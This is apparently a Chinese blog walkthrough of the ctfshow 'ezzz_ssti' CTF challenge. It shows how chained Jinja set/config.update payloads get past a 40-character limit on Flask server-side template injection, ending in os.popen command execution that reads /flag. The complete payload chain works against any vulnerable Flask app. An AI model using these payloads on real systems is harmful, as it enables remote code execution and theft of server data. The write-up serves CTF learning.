Flask-SSTI限制长度绕过

前置知识

利用config绕过payload长度限制

Flask 框架中存在**config全局对象**,用来保存配置信息

config 对象实质上是一个字典的子类,可以像字典一样操作

因此要更新字典,我们可以使用 Python 中的 update() 方法

update() 方法 + 关键字参数更新字典:

1
2
3
4
d = {'a': 1, 'b': 2, 'c': 3}
print(d)
d.update(d=4)
print(d)

image-20250403195827193

Jinja 模板中存在 set 语句,用来设置模板中的变量,可以在模板中创建新的变量:

1
2
3
4
{% set var='test' %}

# {{var}} 是 Jinja2 模板引擎里用于输出变量值的语法
{% set var='test' %}{{var}}

image-20250403200102000

因此,我们可以使用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象

下面是利用{% set ... %}语句新定义一个变量x,其值为 config.update(s='string') 的返回值,config.update(s='string') 会尝试将键 's' 和值 'string' 添加到 config 字典中

1
2
3
4
{% set x=config.update(s='string') %}

# {{config}}输出环境配置中的内容
{% set x=config.update(s='string') %}{{config}}

下图是原本的config

image-20250403200933459

下图是经过修改的

image-20250403200332645

可以看到在最后多出了's':'string',这就是我们新添加的

接下来我们就可以使用这个方法在 config 全局对象中更新值

做题实操

题目来源:ctfshow–ezzz_ssti

网址:https://ctf.show/challenges#ezzz_ssti-4495

根据题目可知是SSTI,注入点就是登录的地方

image-20250606144124022

1
{{6*6}}

image-20250606144155093

bp抓包fuzz,看看过滤了什么

image-20250606144336586

发现似乎没什么过滤的,直接打SSTI,但是发现存在长度限制

image-20250606144454654

经过测试后发现限制payload长度不能超过40,因为没有过滤,所以可以利用config进行绕过

思路就是利用setupdate将想要的模块或函数写入到全局变量中,依次获取到lipsum函数的全局命名空间__globals__(包含所有内置函数和变量),然后从全局命名空间中获取到os模块,最后就是获取到os模块中的popen函数,从而可以执行命令

以下是原本的config

1
{{config}}

image-20250606145514373

利用setupdateconfig全局变量中新创建一个a变量,并赋其键值为update

1
{%set x=config.update(a=config.update)%}

image-20250606145914775

1
{{config}}

image-20250606145939602

可以看到成功将键值为update的变量a写入全局变量中,之后可以直接使用变量a来代替update,可以在之后使用更短的payload

然后就是利用相同的方法,将__globals__ospopen写入到全局变量中

1
{%set x=config.a(g=lipsum.__globals__)%}

image-20250606150326227

image-20250606150343479

1
{%set%20x=config.a(o=config.g.os)%}

image-20250606150402093

image-20250606150444078

1
{%set x=config.a(p=config.o.popen)%}

image-20250606150541558

image-20250606150522392

最后就可以直接使用全局变量中的popen函数执行命令

1
{{config.p("ls /").read()}}

image-20250606150640597

1
{{config.p("cat /flag").read()}}

image-20250606150703295

完整payload

1
2
3
4
5
6
7
8
9
{%set x=config.update(a=config.update)%}

{%set x=config.a(g=lipsum.__globals__)%}

{%set x=config.a(o=config.g.os)%}

{%set x=config.a(p=config.o.popen)%}

{{config.p("ls").read()}}

Flask-SSTI限制长度绕过
https://yschen20.github.io/2025/06/06/Flask-SSTI限制长度绕过/
作者
Suzen
发布于
2025年6月6日
更新于
2025年6月6日
许可协议